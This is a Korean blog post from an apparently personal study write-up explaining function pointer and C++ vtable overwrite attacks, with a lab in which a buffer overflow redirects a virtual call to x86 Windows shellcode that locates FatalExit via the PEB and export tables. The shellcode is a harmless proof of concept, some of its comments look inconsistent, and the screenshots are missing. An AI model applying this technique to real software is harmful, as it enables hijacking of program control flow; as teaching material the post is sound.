힙 버퍼 오버플로우

KIM DO YOON·2025년 4월 20일
0

함수 포인터 오버라이트와 Vtable 보호 기법 정리

객체지향 언어인 C++에서 발생할 수 있는 대표적인 보안 취약점인 함수 포인터 오버라이트와 가상 함수 테이블(Vtable) 오버라이트에 대해 알아봅시다.

함수 포인터 오버라이트란?

함수 포인터 오버라이트는 메모리 손상 취약점을 이용하여 프로그램의 함수 포인터를 변조함으러써 공격자가 임의의 코드를 실행할 수 있게 하는 공격이다. 이 공격은 버퍼 오버플로우나 임의 메모리 쓰기 취약점이 있을 때 발생할 수 있다.

함수 포인터가 저장된 메모리를 공격자가 덮어쓸 수 있따면, 해당 함수 포인터가 가리키는 주소를 임의의 함수로 변경하여 악의적인 코드를 실행할 수 있다. 이것은 프로그램의 제어 하름을 완전히 탈취할 수 있게 만든다.

Vatable Overwrite란?

Vtable은 C++에서 다형성을 구현하기 위해 사용되는 메커니즘이다. 객체의 가상함수 호츌을 동적으로 dispatch 하는데 사용된다. Vtable Overwrite는 이 table 이나 Vtable pointer(vptr)를 변조하여 가상 함수 호츌을 탈취하는 공격이다.

C++에서 가상 함수와 Vtable의 작동 방식

가상 함수는 파생 클래스에서 재정의할 수 있는 함수로, 실행 시간에 적절한 함수를 동적으로 결정한다. 이 메커니즘은 다음과 같이 작동한다.

  1. 클래스에 가상 함수가 선언되면 컴파일러는 해당 클래스를 위한 Vtable을 생성한다.
  2. 클래스의 각 객체는 이 Vtable을 가리키는 포인터(vptr)를 가진다.
  3. 가상 함수가 호출될 때, 프로그램은 객체의 vptr를 통해 Vtable를 찾고, 해당하는 포인터를 얻어 실행한다.
class Unit {
public:
    virtual void Sound() { printf("Unit!\n"); }
};

class Marine : public Unit {
public:
    virtual void Sound() { printf("You wanna piece of me, boy?\n"); }
};

위 코드에서 'Unit'과 'Marine' 클래스는 각각 자신만의 Vtable를 가지며, 이 Vtable에는 각 클래스의 'Sound()'함수 주소가 저장된다.

Vtable 오버라이트 공격 과정

  1. 힙 오버플로우나 use-after-free 같은 취약점을 이용해 객체의 vptr을 변조한다.
  2. 변조된 vptr이 공격자가 제어하는 가짜 Vtable을 가리키게 한다.
  3. 가상 함수가 호출될 때 공격자의 코드가 실행된다

공격


다음과 같이 bof 취약점이 존재하는 C++로 만들어진 프로그램이다.

정상적으로 해당 프로그램을 실행하면 다음과 같은 결과가 나온다.

실습 편의를 위해 주소값을 출력하게 만들었다.


해당 주소에는 다음에 실행될 함수 주소가 저장되어 있는데 해당 부분을 쉘 코드가 있는 부분으로 덮어 쓴다면 Vtable overwrite 공격이 된다.

exploit 코드를 만들어 보면

xor edx, edx                ; edx 레지스터 초기화
mov dl, 0x30                ; dl에 0x30 저장
mov edx, [fs:edx]           ; TEB(Thread Environment Block) 접근
mov edx, [edx+0xc]          ; PEB(Process Environment Block) 접근
mov edx, [edx+0x1c]         ; PEB_LDR_DATA 접근
mov eax, [edx+0x8]          ; InMemoryOrderModuleList 접근
mov esi, [edx+0x20]         ; 모듈 리스트 순회
mov edx, [edx]
cmp byte [esi+0xc], 0x33    ; 모듈 이름 비교
jne 0xf2                    ; 일치하지 않으면 반복
mov edi, eax                ; 모듈 베이스 주소 저장
add edi, [eax+0x3c]         ; PE 헤더 접근
mov edx, [edi+0x78]         ; Export Directory RVA
add edx, eax                ; Export Directory VA
mov edi, [edx+0x20]         ; ExportNameTable RVA
add edi, eax                ; ExportNameTable VA
xor ebp, ebp                ; 카운터 초기화

; API 이름 검색 루프
mov esi, [edi+ebp*4]
add esi, eax
inc ebp
cmp dword [esi], 0x61746146  ; "Fata" 문자열 비교
jne 0xf2                     ; 일치하지 않으면 반복
cmp dword [esi+0x8], 0x74697845 ; "Exit" 문자열 비교
jne 0xe9                     ; 일치하지 않으면 반복

; API 주소 획득
mov edi, [edx+0x24]          ; ExportOrdinalTable RVA
add edi, eax                 ; ExportOrdinalTable VA
mov bp, [edi+ebp*2]          ; 함수 순서 번호
mov edi, [edx+0x1c]          ; ExportAddressTable RVA
add edi, eax                 ; ExportAddressTable VA
mov edi, [edi+ebp*4-4]       ; 함수 주소 획득
add edi, eax                 ; 실제 함수 주소

; "success" 문자열 스택에 푸시
push 0x00737365              ; "ess\0"
push 0x63637573              ; "succ"
mov ecx, esp                 ; 문자열 포인터
dec byte [ecx+0xb]           ; 널 바이트 조정
xor eax, eax                 ; eax 초기화
push ecx                     ; 인자 푸시
push eax                     ; 인자 푸시
call edi                     ; ExitProcess 호출![]

해당 expolit 를 이용해서 생성한 txt 파일을 읽으면 다음과 같이 Vtable 의 주소값이 변경된다.

결과는 success! 라는 alert 창이 뜬다.

profile
안녕하세요 김도윤 입니다.

0개의 댓글